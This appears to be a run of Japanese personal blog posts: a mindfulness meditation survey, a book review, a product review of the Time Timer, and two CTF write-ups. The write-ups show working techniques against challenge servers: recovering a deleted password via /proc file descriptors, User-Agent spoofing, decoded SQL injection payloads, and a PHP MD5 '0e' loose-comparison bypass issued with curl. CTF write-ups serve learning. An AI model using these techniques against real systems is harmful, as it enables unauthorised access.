マインドフルネス瞑想の個人的なサーベイ
瞑想の効果についてまとめた。
背景
私がことあるごとに話題にしているマインドフルネスというのは初見だとなんか胡散臭い感じがしますよね。
もともとアメリカ人のオリエンタリズム(あまり長い歴史を持たないアメリカ人の東洋神秘主義に対する憧れ)から、主に富裕層でヨガとか禅とか瞑想とかが流行ったのだと推察している。スティーブジョブズが長年やっていたのも曹洞宗の座禅だし、映画監督のデイビッドリンチも超越瞑想というちょっとオカルトが感じられるものにかなり入れ込んでいる。私からするとかなり胡散臭く感じるので、分析はしても実践はしたいと思わない。
しかしそこは欧米人なので後付けでガツガツと科学的なエビデンスを追いかけていったのではないだろうか。2000年以降で活発に論文が出ていて、ここ数年では得られる効果とそれに対する効率的なメソッドがかなり確立してきた。有名なのが Google で実践された情動コントロールの研修だ。"心理的安全性"が日本のエンジニアコミュニティでも一般的な語になったが、この研修パッケージ内に科学エビデンスに基づいた"マインドフルネス瞑想"が社会的スキルの成熟に役立つという話もあったのだ。
サーチ・インサイド・ユアセルフ ― 仕事と人生を飛躍させるグーグルのマインドフルネス実践法
- 作者:チャディー・メン・タン,一般社団法人マインドフルリーダーシップインスティテュート
- 発売日: 2016/05/17
- メディア: Kindle版
Big Tech の代表でしのぎを削っている Google が期待値の低い活動を広く実施するとは思えず、マインドフルネスというものに対して安心して実践できそうな気持ちになったのである。
また、個人的に非常に高いストレスにさらされていた時期が長く、さらに頭を良くする方法を探していたところで、マインドフルネス瞑想がストレス耐性を高め、IQを数ポイント向上するらしいという話を目にしたのでやってみることにした。
瞑想の種類
方法論はかなり多く出版されているが脳内で何が起こっているかについて書かれている書籍は少ない。
瞑想はウェブで調べる限り以下のように、生じる脳波で分類がされているようだ。(そもそも科学に基づかない瞑想法を科学で俯瞰した表なので胡散臭いキーワードは入るので注意。)
↑高い周波数
↓低い周波数
参考:
【他の瞑想法との5つの違い】 | 最高を求めるなら - 超越瞑想®︎
(超越瞑想系の団体は自身の有効性を説くためにけっこうお金をかけて自分たちでエビデンスを揃えていってるので気合いが入っているなぁと思う)
マインドフルネス瞑想はリラックス時のα波よりさらに遅い、入眠時に近いΘ波になる。
瞼の裏に映るランダムな映像(入眠時心像)を観察しているとすぐ寝てしまうというライフハックは、マインドフルネス瞑想での脳内の活動を観察する行為と似ている。実際、意図せず超越瞑想になってしまっていた時期は寝る前でも持続できていたが、マインドフルネス瞑想に戻したときは持続するのは難しく10分で居眠りしてしまっていた。
脳波で客観的に、マインドフルネス瞑想が他の瞑想法と区別することができたが、脳波以外ではどのような作用があるのか、瞑想と一見無関係な本で知ることができた。
前提として、マインドフルネス以前に脳のモードが二種類ある。
- デフォルトモードネットワーク
- 海馬など記憶領域と内側前頭前皮質が活動
- 計画、空想、思考
- 将来の予測など、放っておくと自動的にストーリーを再生してしまう、おそらく多くの人はこれになっている。夜風に吹かれながらビールを飲みつつも今晩の献立をどうするか、明日の仕事はなんだったかなどを次々と連想していってしまう状態
- マインドフルネス
- 島皮質、前帯状皮質などが活動
- 知覚、エラー検出、注意の切り替え
- 過去や未来などを思考せず現在の状態のみを意識。このモードを持続するのは訓練が必要。夜風に吹かれながらビールを飲んでいるときは、体の心地よさのみを感じられる
この二つのモードは並行動作しづらい。思想にふけっているときは事故を起こしやすいし、感覚に意識を向けると深い思考は抑制される。さらに、マインドフルネスな状態を意識的に維持するのはとても難しい。10秒間、音に注視するという練習をしてみても、その10秒の間に関心がどんどん移ってしまうのが分かる。そして、マインドフルネスな状態は訓練すればするほど切り替えられる頻度があがる。
訓練が必要ではあるが、マインドフルネスな状態にはかなり価値がある。マインドフルネスな状態はどの思考が走ろうとしているかを観察できる。知覚をつかさどるといえど、高レイヤーのタスクスケジューラとして転用できるモードだと私は理解している。単一プロセスが実行されているようなデフォルトモードネットワークに任せていては脳のワーキングメモリの整理なども出来ないのだ。私は ADHD なので行動認知療法的にホワイトボードでのタスク管理をかなり頑張っているが、これを脳内で行えるようになるのがマインドフルネスなモードだ。
改めて、マインドフルネス瞑想のモチベーション
ここまで調べて、改めてモチベーションが生まれた。
まず情動コントロールである。週に合計数時間のマインドフルネス瞑想をした場合、情動が支配的になる偏桃体が縮小し、記憶のための海馬が拡大したという研究結果がある。私は感情的になりやすく記憶力が乏しかったのでこれはぜひ実践するべきだろう。
次に思考力の向上だ。デフォルトモードネットワークに任せっきりだったので、タスクの分解ができず意欲が全く湧かないか、過集中になって寝食を忘れて1テーマのことをやるというのがよくあった。マインドフルネスな状態にいつでも戻ってくることができれば、タスクスケジューラが働き一定の仕事ができるようになり、議論も俯瞰して考えることができる。客観的には思考力が上がったように見えるだろう。
おまけに、人生が楽しくなる。旅行も食事も、タスク消化という感覚が今まで強かった。スタンプラリーのような活動で疲れてしまうので外出は嫌いだ。これも、デフォルトモードネットワークが紡ぐ物語が一日中うるさく、知覚を軽視してきたからだろう。マインドフルネスであれば散歩でも、外の空気を感じられ何十倍も気持ちいいのだ。
方法
一番簡単なのは呼吸に注目する方法だ。20分タイマーを図り、呼吸だけに意識を合わせる。空想、思考が現れた場合はそれを俯瞰する。無理に消す必要は無く、現れたことを認識し呼吸への意識を続ける。この20分を朝晩で1日2回行う。これでおよそ週4.5時間のマインドフルネス瞑想が可能だ。
慣れてきたら呼吸だけでなく、マインドフルネスな状態そのものであったり、五感すべてを注視したりもできる。これは前述の2つのモードが認識できてきたら可能になる。
私はいろいろ模索しているうちに、超越瞑想になってしまっていたことがあった。首から脳にかけての血管の音が大きくなるのが認識できた時があり、それに注視していたら心地よいことがわかり、続けていた。そうしたら、知覚や意識が希薄になり実体から離れるようなリラックスした気分になった。これはおそらくα波の段階になってしまい、マインドフルネスな状態とは異なる機能が活発になっていたからだろう。超越瞑想はマインドフルネス瞑想より気持ちいいが、日常でマインドフルネスな状態を維持するのがとても下手になった。日常に活きない娯楽と感じたのでそれ以降は手を出していない。
まとめ
習慣化してから半年以上経った。モチベーションに記載したような目論見はかなり達成できている。いらだつことは皆無になり誰とも適切な距離感で接するようになった。脳の使い方は並行していろんな本を読みつつも、やっぱりこれはメタ認知が前提となっていることを見抜けるようになった。瞑想はすればするほど知覚の快感が大きくなるので食事前とか音楽を聴く前とかそういうときに瞑想をするようになった。
(唐突ですが) 頭が良い、有能に見える人と同じ水準の仕事や活動をしたいと思ったが、脳の構造が違うのにアウトプットだけ真似ても意味が無かった。使い方を変える方法をずっと模索している。瞑想はその一環でありかなり高い効果があった。
実はほかにも頭の機能を向上するために実践していることが複数ある。繰り返しになるがマインドフルネスな状態はメタ認知と言い換えることができ、これが脳の使い方の工夫の根底にある。そしてこれは練習が無ければ使えない能力だ。
スマホ脳(アンデシュ・ハンセン)
読んだ本の感想を書き溜めているので読了したものはきちんと記事にしようと思いました。
キャッチーなタイトルとは裏腹に、偏桃体が起点となって生じる情動による緊急回避システムが現代のライフスタイルに災いすることが多いという話(ファスト&スローで言われているシステム1、2の区別)を別角度で説いたような本。
私は学生のころから、生身の身体があらゆる目的達成の足手まといになっている感覚があった。前半ではそれを言い当てられた。脳の仕組みは数千年前の、狩猟、闘争、回避などの営みに適応しており、現代社会で有利になるようなストレス制御や報酬に適応するには進化の世代数が圧倒的に足りない。それどころか選択/淘汰圧がかからない社会に到達してしまっているという主張である。
そのうえで、テクノロジー、広告ビジネスが数千年前のモデルのままな私たちの脳をハックして収益を上げる構図を人類自ら作り上げてしまった。この本ではそれを自覚し人間の身体特性をハックし返すことを提案している。
さてADHDかつ過剰なストレスにさらされていた私の脳は偏桃体が発達してしまったであろう。この本では論じられていないが、マインドフルネス瞑想は偏桃体の体積を縮小する働きがあるのでこれは続けていきたい。
DarkCTF Write up
あまり勉強の蓄積は効かず、手癖で解けたものだけでした。
Linux
Find-Me
Mr.Wolf was doing some work and he accidentally deleted the important file can you help him and read the file? Note: All players will get individual container. ssh ctf@findme.darkarmy.xyz -p 10000 password: wolfie
wolf1 というユーザでログインとなる。/home/wolf1 がホームで、ls しても空っぽ。 ls /home すると、ほかに wolf2 が居るのが分かる。sudo は無いが、su はできる。
雑に deleted file recovery linux でぐぐる。対象サーバは docker 環境なので /dev/sd* などのブロックデバイスは存在しない。よって raw なバイナリを探ったりはできない。そういう情報は除外して調べた。
https://unix.stackexchange.com/questions/80270/unix-linux-undelete-recover-deleted-files
f=$(ls 2>/dev/null -l /proc/*/fd/* | fgrep "$1 (deleted" | awk '{print $9}')
/proc/*/fd/*
になにか出ているらしい。
$ ls /proc/*/*fd* ... /proc/10/fd: total 0 lr-x------ 1 wolf1 wolf1 64 Sep 25 23:32 0 -> /dev/null l-wx------ 1 wolf1 wolf1 64 Sep 25 23:32 1 -> /dev/null l-wx------ 1 wolf1 wolf1 64 Sep 25 23:32 2 -> /dev/null lr-x------ 1 wolf1 wolf1 64 Sep 25 23:32 3 -> '/home/wolf1/pass (deleted)' ...
怪しいファイルがあった。
$ cp /proc/10/fd/3 pass $ cat pass mysecondpassword123
mysecondpassword なので、wolf2 のパスワードと推察。
$ su wolf2 Password: mysecondpassword123 (wolf2)$ cd /home/wolf2 $ ls -R .: bin etc flag_might_be_here not_so_important_files not_sure proc somefiles tmp ./bin: wolf2 ./bin/wolf2: bin tmp ./bin/wolf2/bin: ./bin/wolf2/tmp: ./etc: ./flag_might_be_here: ./not_so_important_files: ./not_sure: ./proc: a f g l ./proc/a: ./proc/f: ./proc/g: nice_work ./proc/l: ./somefiles: ./tmp: $ cat ./proc/g/nice_work darkCTF{you are standing on the flag} }!!!kr0w_3c1n_hha0w{FTCkrad
}!!!kr0w_3c1n_hha0w{FTCkrad をリバースするとフラグになっている
Web
Source
Don't know source is helpful or not !!
$web = $_SERVER['HTTP_USER_AGENT']; if (is_numeric($web)){ if (strlen($web) < 4){ if ($web > 10000){ echo ('<div class="w3-panel w3-green"><h3>Correct</h3> <p>darkCTF{}</p></div>');
UA 偽装すればいいが、問題は値だ。
PHP において
- is_numeric が true
- 文字列長が1から3
- 10000 との比較で大きいと判定される
という文字列にしなければならない。単に整数 999 では、条件1,2 は通るが 3 は FALSE になる。
https://www.php.net/manual/en/function.is-numeric.php
Finds whether the given variable is numeric. Numeric strings consist of optional whitespace, optional sign, any number of digits, optional decimal part and optional exponential part. Thus +0123.45e6 is a valid numeric value. Hexadecimal (e.g. 0xf4c3b00c) and binary (e.g. 0b10100111001) notation is not allowed.
is_numeric()の判定では整数だけではなく、数値リテラルならなんでも通すらしい。浮動小数点リテラルを試してみよう。1e9で、1x109=1000000000になる。
$ curl -A "1e9" http://source.darkarmy.xyz/ <html> <head> <title>SOURCE</title> <style> #main { height: 100vh; } </style> </head> <body><center> <link rel="stylesheet" href="https://www.w3schools.com/w3css/4/w3.css"> <div class="w3-panel w3-green"><h3>Correct</h3> <p>darkCTF{changeing_http_user_agent_is_easy}</p></div></center> <!-- Source is helpful --> </body> </html>
done.
Apache Logs
Our servers were compromised!! Can you figure out which technique they used by looking at Apache access logs. flag format: DarkCTF{}
Apache のログが添付されている。
logs.ctf
大半はヒントになっていないアクセスだ。ログにある対象サーバはローカルネットワークらしく、実際にはアクセスできない。だからログの内容から読み取る必要がある。
怪しいところをピックアップ
192.168.32.1 - - [29/Sep/2015:03:37:34 -0400] "GET /mutillidae/index.php?page=user-info.php&username=%27+union+all+select+1%2CString.fromCharCode%28102%2C+108%2C+97%2C+103%2C+32%2C+105%2C+115%2C+32%2C+83%2C+81%2C+76%2C+95%2C+73%2C+110%2C+106%2C+101%2C+99%2C+116%2C+105%2C+111%2C+110%29%2C3+--%2B&password=&user-info-php-submit-button=View+Account+Details HTTP/1.1" 200 9582 "http://192.168.32.134/mutillidae/index.php?page=user-info.php&username=something&password=&user-info-php-submit-button=View+Account+Details" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
URL Decode "GET /mutillidae/index.php?page=user-info.php&username=' union all select 1,String.fromCharCode(102, 108, 97, 103, 32, 105, 115, 32, 83, 81, 76, 95, 73, 110, 106, 101, 99, 116, 105, 111, 110),3 --+&password=&user-info-php-submit-button=View Account Details HTTP/1.1"
どうやら SQL インジェクションを試みている。
102 108 97 103 32 105 115 32 83 81 76 95 73 110 106 101 99 116 105 111 110 を ASCII にすると、flag is SQL_Injection
だがこれ自体はフラグではなかった。
次はこれ。
192.168.32.1 - - [29/Sep/2015:03:38:46 -0400] "GET /mutillidae/index.php?csrf-token=&username=CHAR%28121%2C+111%2C+117%2C+32%2C+97%2C+114%2C+101%2C+32%2C+111%2C+110%2C+32%2C+116%2C+104%2C+101%2C+32%2C+114%2C+105%2C+103%2C+104%2C+116%2C+32%2C+116%2C+114%2C+97%2C+99%2C+107%29&password=&confirm_password=&my_signature=®ister-php-submit-button=Create+Account HTTP/1.1" 200 8015 "http://192.168.32.134/mutillidae/index.php?page=register.php" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
URL Decode
GET /mutillidae/index.php?csrf-token=&username=CHAR(121, 111, 117, 32, 97, 114, 101, 32, 111, 110, 32, 116, 104, 101, 32, 114, 105, 103, 104, 116, 32, 116, 114, 97, 99, 107)&password=&confirm_password=&my_signature=®ister-php-submit-button=Create Account HTTP/1.1
121, 111, 117, 32, 97, 114, 101, 32, 111, 110, 32, 116, 104, 101, 32, 114, 105, 103, 104, 116, 32, 116, 114, 97, 99 は、you are on the right track
同様に次の部分。
192.168.32.1 - - [29/Sep/2015:03:39:46 -0400] "GET /mutillidae/index.php?page=client-side-control-challenge.php HTTP/1.1" 200 9197 "http://192.168.32.134/mutillidae/index.php?page=user-info.php&username=%27+union+all+select+1%2CString.fromCharCode%28102%2C%2B108%2C%2B97%2C%2B103%2C%2B32%2C%2B105%2C%2B115%2C%2B32%2C%2B68%2C%2B97%2C%2B114%2C%2B107%2C%2B67%2C%2B84%2C%2B70%2C%2B123%2C%2B53%2C%2B113%2C%2B108%2C%2B95%2C%2B49%2C%2B110%2C%2B106%2C%2B51%2C%2B99%2C%2B116%2C%2B49%2C%2B48%2C%2B110%2C%2B125%29%2C3+--%2B&password=&user-info-php-submit-button=View+Account+Details" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
http://192.168.32.134/mutillidae/index.php?page=user-info.php&username=' union all select 1,String.fromCharCode(102,+108,+97,+103,+32,+105,+115,+32,+68,+97,+114,+107,+67,+84,+70,+123,+53,+113,+108,+95,+49,+110,+106,+51,+99,+116,+49,+48,+110,+125),3 --+&password=&user-info-php-submit-button=View Account Details
flag is DarkCTF{5ql_1nj3ct10n}
PHP information
Let's test your php knowledge. Flag Format: DarkCTF{} http://php.darkarmy.xyz:7001
開くと、HTML と PHP のソースコードが表示される。どうやらこのサイトのコードのようだ。
クエリパラメータおよび User Agent を操作することで条件分岐を通し、FLAG を出すということのようだ。
ソースコードの if を通すように curl を組んでいく。
if (isset($_GET['karma']) and isset($_GET['2020'])) { if ($_GET['karma'] != $_GET['2020']) if (md5($_GET['karma']) == md5($_GET['2020'])) echo "<h1 style='color: chartreuse;'>Flag : $flag_3</h1></br>"; else echo "<h1 style='color: chartreuse;'>Wrong</h1></br>"; }
ここだけ難しい。文字列としては違うけど md5() で比較すると同じになる? MD5 で重複する文字列も探したが、PHP 的には MD5 を比較する際のコーディングの間違いをついたほうがスマートのようだ。
http://peccu.hatenablog.com/entry/2015/05/23/000000
比較が
===
ではなく==
であるから、ということがわかったとして、なぜ同じになるのか。 上記2つの文字列のmd5ハッシュ値が0eで始まり、以降数字が並ぶからです。
0e で始まる md5 の文字列を用意すればいいようだ。このサイトの例をそのまま使わせてもらう。
コンソールで見ると読みづらいので一旦 index.html に保存してからブラウザで開いた。
curl -A 2020_the_best_year_corona 'http://php.darkarmy.xyz:7001/?darkctf=2020&ctf2020=WkdGeWEyTjBaaTB5TURJd0xYZGxZZz09&karma=Password147186970!&2020=240610708' -o index.html
Flag : DarkCTF{
Flag : very_
Flag : nice
Flag : _web_challenge_dark_ctf}
Forensics
AW
動画にノイズが入っているように聞こえる。Spectre.mp4 というファイル名から Spectrogram のフォレンジックを疑う。
ffmpeg -i Spectre.mp4 -vn -acodec libmp3lame -f mp3 Spectre.mp3
Audacity で Spectre.mp3 を開いて Spectrogram で見ると、フラグが浮き上がる。
darkCTF{1_l0v3_5p3ctr3_fr0m_4l4n}
CSAW CTF Quals 2020 Write-up
CTFはバイナリやセキュリティの知識を持たずに遊びで参加しているので、正攻法では無さそうな解法をしてしまっている。しかも最低点の問題を解くのがやっと。問題を始めてから勉強しているので注意。
rev, baby_mult
progam.txt として以下のテキストが与えられる
85, 72, 137, 229, 72, 131, 236, 24, 72, 199, 69, 248, 79, 0, 0, 0, 72, 184, 21, 79, 231, 75, 1, 0, 0, 0, 72, 137, 69, 240, 72, 199, 69, 232, 4, 0, 0, 0, 72, 199, 69, 224, 3, 0, 0, 0, 72, 199, 69, 216, 19, 0, 0, 0, 72, 199, 69, 208, 21, 1, 0, 0, 72, 184, 97, 91, 100, 75, 207, 119, 0, 0, 72, 137, 69, 200, 72, 199, 69, 192, 2, 0, 0, 0, 72, 199, 69, 184, 17, 0, 0, 0, 72, 199, 69, 176, 193, 33, 0, 0, 72, 199, 69, 168, 233, 101, 34, 24, 72, 199, 69, 160, 51, 8, 0, 0, 72, 199, 69, 152, 171, 10, 0, 0, 72, 199, 69, 144, 173, 170, 141, 0, 72, 139, 69, 248, 72, 15, 175, 69, 240, 72, 137, 69, 136, 72, 139, 69, 232, 72, 15, 175, 69, 224, 72, 15, 175, 69, 216, 72, 15, 175, 69, 208, 72, 15, 175, 69, 200, 72, 137, 69, 128, 72, 139, 69, 192, 72, 15, 175, 69, 184, 72, 15, 175, 69, 176, 72, 15, 175, 69, 168, 72, 137, 133, 120, 255, 255, 255, 72, 139, 69, 160, 72, 15, 175, 69, 152, 72, 15, 175, 69, 144, 72, 137, 133, 112, 255, 255, 255, 184, 0, 0, 0, 0, 201
127 以上の値があるから、単純な ASCII として読めるものではないのは確かだ。
const src = [85, 72, 137, 229, 72, 131, 236, 24, 72, 199, 69, 248, 79, 0, 0, 0, 72, 184, 21, 79, 231, 75, 1, 0, 0, 0, 72, 137, 69, 240, 72, 199, 69, 232, 4, 0, 0, 0, 72, 199, 69, 224, 3, 0, 0, 0, 72, 199, 69, 216, 19, 0, 0, 0, 72, 199, 69, 208, 21, 1, 0, 0, 72, 184, 97, 91, 100, 75, 207, 119, 0, 0, 72, 137, 69, 200, 72, 199, 69, 192, 2, 0, 0, 0, 72, 199, 69, 184, 17, 0, 0, 0, 72, 199, 69, 176, 193, 33, 0, 0, 72, 199, 69, 168, 233, 101, 34, 24, 72, 199, 69, 160, 51, 8, 0, 0, 72, 199, 69, 152, 171, 10, 0, 0, 72, 199, 69, 144, 173, 170, 141, 0, 72, 139, 69, 248, 72, 15, 175, 69, 240, 72, 137, 69, 136, 72, 139, 69, 232, 72, 15, 175, 69, 224, 72, 15, 175, 69, 216, 72, 15, 175, 69, 208, 72, 15, 175, 69, 200, 72, 137, 69, 128, 72, 139, 69, 192, 72, 15, 175, 69, 184, 72, 15, 175, 69, 176, 72, 15, 175, 69, 168, 72, 137, 133, 120, 255, 255, 255, 72, 139, 69, 160, 72, 15, 175, 69, 152, 72, 15, 175, 69, 144, 72, 137, 133, 112, 255, 255, 255, 184, 0, 0, 0, 0, 201]; const hex = src.map(e => '\\x' + e.toString(16).padStart(2, '0')).join(''); console.log(hex);
hex 表記にしてみる。
\x55\x48\x89\xe5\x48\x83\xec\x18\x48\xc7\x45\xf8\x4f\x00\x00\x00\x48\xb8\x15\x4f\xe7\x4b\x01\x00\x00\x00\x48\x89\x45\xf0\x48\xc7\x45\xe8\x04\x00\x00\x00\x48\xc7\x45\xe0\x03\x00\x00\x00\x48\xc7\x45\xd8\x13\x00\x00\x00\x48\xc7\x45\xd0\x15\x01\x00\x00\x48\xb8\x61\x5b\x64\x4b\xcf\x77\x00\x00\x48\x89\x45\xc8\x48\xc7\x45\xc0\x02\x00\x00\x00\x48\xc7\x45\xb8\x11\x00\x00\x00\x48\xc7\x45\xb0\xc1\x21\x00\x00\x48\xc7\x45\xa8\xe9\x65\x22\x18\x48\xc7\x45\xa0\x33\x08\x00\x00\x48\xc7\x45\x98\xab\x0a\x00\x00\x48\xc7\x45\x90\xad\xaa\x8d\x00\x48\x8b\x45\xf8\x48\x0f\xaf\x45\xf0\x48\x89\x45\x88\x48\x8b\x45\xe8\x48\x0f\xaf\x45\xe0\x48\x0f\xaf\x45\xd8\x48\x0f\xaf\x45\xd0\x48\x0f\xaf\x45\xc8\x48\x89\x45\x80\x48\x8b\x45\xc0\x48\x0f\xaf\x45\xb8\x48\x0f\xaf\x45\xb0\x48\x0f\xaf\x45\xa8\x48\x89\x85\x78\xff\xff\xff\x48\x8b\x45\xa0\x48\x0f\xaf\x45\x98\x48\x0f\xaf\x45\x90\x48\x89\x85\x70\xff\xff\xff\xb8\x00\x00\x00\x00\xc9
最初の 0x55 は関数の開始である push pbx として頻出なので、x86 系の命令と推察できる。さらに、0x48 がよく出てくる。これは x86_64 において 64bit 命令の場合のプレフィックスなので、x86_64 のバイナリの断片である可能性が高い。
さて、これをどうやって実行可能にしようか。
- シェルコードとして exploit するテスターを作る?
- このままリンカに通せないか?
- ゴリ押しで読んで理解する?
残念ながら私は pwn の知識も、シェルコードの知識も無い。
(1) シェルコードとして exploit するテスターを作る?
ウェブから shell code tester みたいな検索をしてシェルコードとして実行してみたが、segmentation fault になってしまう。
(2) このままリンカに通せないか?
一旦 disassemble して、それっぽいラベルをつけておいた。実行が終わる前のところにブレークポイントをつけれるようにもした。
https://onlinedisassembler.com/odaweb/
program.s
.globl main .type main, @function main: push %rbp mov %rsp,%rbp sub $0x18,%rsp movq $0x4f,-0x8(%rbp) movabs $0x14be74f15,%rax mov %rax,-0x10(%rbp) movq $0x4,-0x18(%rbp) movq $0x3,-0x20(%rbp) movq $0x13,-0x28(%rbp) movq $0x115,-0x30(%rbp) movabs $0x77cf4b645b61,%rax mov %rax,-0x38(%rbp) movq $0x2,-0x40(%rbp) movq $0x11,-0x48(%rbp) movq $0x21c1,-0x50(%rbp) movq $0x182265e9,-0x58(%rbp) movq $0x833,-0x60(%rbp) movq $0xaab,-0x68(%rbp) movq $0x8daaad,-0x70(%rbp) mov -0x8(%rbp),%rax imul -0x10(%rbp),%rax mov %rax,-0x78(%rbp) mov -0x18(%rbp),%rax imul -0x20(%rbp),%rax imul -0x28(%rbp),%rax imul -0x30(%rbp),%rax imul -0x38(%rbp),%rax mov %rax,-0x80(%rbp) mov -0x40(%rbp),%rax imul -0x48(%rbp),%rax imul -0x50(%rbp),%rax imul -0x58(%rbp),%rax mov %rax,-0x88(%rbp) mov -0x60(%rbp),%rax imul -0x68(%rbp),%rax imul -0x70(%rbp),%rax mov %rax,-0x90(%rbp) mov $0x0,%eax break: leaveq
Linux で $ gcc program.sとすれば a.out として一応実行可能にはなるが、出力等は特にない。gdb でレジスタをみたけどよくわからなかった。
(3) ゴリ押しで読んで理解する?
普通の CTF 慣れした人とは全然違うアプローチになってしまうが、そのまま読んでみた。x86 のことも全然知らなかったので勉強した。
命令一覧
- push op
- rsp をスタックを積む方向に動かす(デクリメント)
- op の値をそこに格納
- mov op1, op2
- op1 => op2
- movq
- mov と同じだが 64bit であることを明示
- movabs
- これも、オペランドが64bitのときにGASが付与した名前であり、mov と同じ
- sub op1, op2
- op2 - op1 => op1
- imul op1, op2
- op1 * op2 => op1
- leaveq
- rsp => rbp
- rbp を pop
レジスタ一覧
- rbp: 64bit Base Pointer
- rsp: 64bit Stack Pointer
- rax: 64bit Accumulator
- eax: 32bit Accumulator
- X: eXtend 16bit
- アキュムレータは8bit CPU では AL だったが、16bit になった際に AX になった
- E: Enhanced 32bit
- x86 では AX から EAX になった
- R: Register 64bit
- x86_64 では EAX から RAX になった
記号
- %: レジスタの前につける
- $: 定数の前につける
BP, SP, push の動き
知識が揃ったところで読んでいった。手作業で計算した。結果はこうなった。
レジスタ rbp: rsp の値 rax: 306772346d7d スタック 元の rbp の値 <- --底部-- メモリ rsp-0x90: 306772346d7d rsp-0x88: 6c31645f7072 rsp-0x80: 73757033725f7634 rsp-0x78: 666c61677b rsp-0x70: 8daaad rsp-0x68: aab rsp-0x60: 833 rsp-0x58: 182265e9 rsp-0x50: 21c1 rsp-0x48: 11 rsp-0x40: 2 rsp-0x38: 77cf4b645b61 rsp-0x30: 115 rsp-0x28: 13 rsp-0x20: 3 rsp-0x18: 4 rsp-0x10: 14be74f15 rsp-0x8: 4f rsp: ?
imulで計算した結果を保存しているらしき -0x78 ~ -0x90 を抽出するとこうなる
666c61677b
73757033725f7634
6c31645f7072
306772346d7d
ASCII として読むとフラグになっている。
正攻法は、シェルコードとして実行して segfault か何かで止まったところを gdb でメモリ確認するといいのかもしれないが、まだ私にはできなかった。
web, widthless
http://web.chal.csaw.io:5018/ が与えられている。
ML 購読フォームがある、作りかけのサイトという体裁。
- Email の POST のフォームは HTTP としては動作するが特に進展しない。csrf_token が設定されている。
- レスポンスヘッダにはクッキーがある程度で怪しいところは無い。
ソースを読むとヒントと思われるメッセージがあった。
<!-- zwsp is fun! -->
また、developer tool で見ると、body 下部に #8203; などの特殊文字がぎっしり入っていた。
zwsp で調べると、"ゼロ幅スペースステガノグラフィ"に関連するツールを見つけた。
HTML 全体をこのツールに通す
const fs = require('fs'); const zwspSteg = require('zwsp-steg'); const html = fs.readFileSync('index.html', 'utf-8'); const decoded = zwspSteg.decode(html); console.log(decoded);
YWxtMHN0XzJfM3o= が得られた。base64 でデコードすると、alm0st_2_3zとなる。これをフォームに入力すると新たな本文が追加される。
/ahsdiufghawuflkaekdhjfaldshjfvbalerhjwfvblasdnjfbldf/<pwd>
pwd は alm0st_2_3z のことだと判断し、http://web.chal.csaw.io:5018/ahsdiufghawuflkaekdhjfaldshjfvbalerhjwfvblasdnjfbldf/alm0st_2_3z へアクセスしてみる。すると今度は HTML 全体にゼロ幅スペースが散りばめられていた。
また zwsp-steg で処理を試みるも、ブラウザでレンダーされたものをコピペしてもうまくデコードできなかった。きちんと curl で無加工のペイロードを取ってくる。
$ curl http://web.chal.csaw.io:5018//ahsdiufghawuflkaekdhjfaldshjfvbalerhjwfvblasdnjfbldf/alm0st_2_3z -o index.html
zwsp-steg へまた通すと、755f756e6831645f6d33 が得られた。2桁ずつ ASCII 読みすると u_unh1d_m3 となる。
これをフォームで送信すると次のヒントが出る。
/19s2uirdjsxbh1iwudgxnjxcbwaiquew3gdi/<pwd1>/<pwd2>
pwd1, pwd2 はこれまで得た文字列だと判断し、
http://web.chal.csaw.io:5018//19s2uirdjsxbh1iwudgxnjxcbwaiquew3gdi/alm0st_2_3z/u_unh1d_m3 へ。
するとフラグを得られる。
Time Timer を買った
集中力向上のツールとして Time Timer というのを買ってみた。高くて気軽に手を出せないのにあまり日本語でのレポートが無いのでしたためておく。
私は時間の経過を感じるのが苦手だからいつもだらだらと作業してしまう。したがって25分のタイマーを区切りに作業するポモドーロテクニックを導入してみたりしたのだが、私の要求に沿ったツールがなかなか無かった。
要件
- 視認性が良い
- アラーム音を切れる
- 面積などで視覚的に経過時間がわかる
- 単機能
これまで検討したもの
Time Timer
この要件だと Time Timer が最適だった。
- 面積で残り時間を視認できる
- 単機能
- アラームを切れる
- 時計のチクタク音が無い
もともと子供やASDなどもスコープに入れたツールであり押さえるべきところが押さえられている。
欠点は価格だ。安いモデルでも5,000円以上する。Time Timer 自体は学生の頃から知っていたが高すぎて手が出なかった。自作も検討していたがずっと放置していた。
忘れていたころに、類似の IoT デバイスで Kotobo という、30分タイマーを通知するだけのボタンが登場した。とても欲しいと思ったがこれはなんと 12,980円もする。
これを買う前に類似の機能を持ったより安価なもので効果を知っておきたいなと思い、ふと Time Timer を思い出して Kotobo の半値以下なら買ってしまうか、と決断したのである。
Unboxing
インテリアに馴染むような小型モデルで、Time Timer MOD というのがあり 5,000円ちょっとで買った。確か昔は買える場所が少なかったような気がするが、今では楽天の玩具屋などでも扱っている。
外箱はおしゃれ。
内容物はこれ。
本体は柔らかいシリコンカバーがついていて雑に扱ってもいいようになっている。このカバーにカラーバリエーションがあるらしく、それで MOD というらしい。
背面はアラーム音のスイッチと電池蓋がある。電池は同梱されておらず、単三電池1本と蓋を開けるためのメガネ用ドライバーが必要。蓋、ネジは固めなので、小さい子供に渡しても問題なさそうだ。
文字盤中央の取っ手を回すだけで自動でカウントダウンが始まる。アラーム音はこんな感じで4回鳴って終了。ずっと鳴り続けたりはしないのが素晴らしい。
使用感
良い
- 赤い面積で残り時間が直感的にわかる。これを求めていた。
- 中央の取っ手を回す以外に操作が無い。面倒が無いので頻繁にリセットできる。
欠点
- 大きすぎず小さすぎず絶妙なサイズ感だけど、大人が使う場合は堅牢性よりも携帯性が重要な気がするので薄くしてもらった方がいいかも。オフィスでも家でも使いたい。
ポモドーロテクニックにも使えるけどそれ以外でも、分単位の締め切りのある作業をする際にバッファを持たせたタイマーを作っておき、チラチラと眺めるのはとても効果があった。やはり残り時間が面積で認識できるのは大きいと感じた。少なくなってくると、意味のない作業は切り捨てたり落とし所を考え始めるようになる。
あとは、音、操作性、視認性でストレスを全く感じないのも良い。
まぁここまでツールの話を書いてしまったけど、実際は睡眠、運動、食事、精神が全て整っていることが一番大事。その上でさらに締め切りを意識した活動が苦手ということを認識したのでこれで改善できそう、という話です。
使用感が気になる人は Android だと Visual Timer という無料アプリがあったので試してみて欲しい。
Time Timer 純正のアプリもあるが有料で、タイマーアプリにしては高い...
(簡易版)Google App Script で Google Spreadsheet に日本の祝日リストを吐き出す
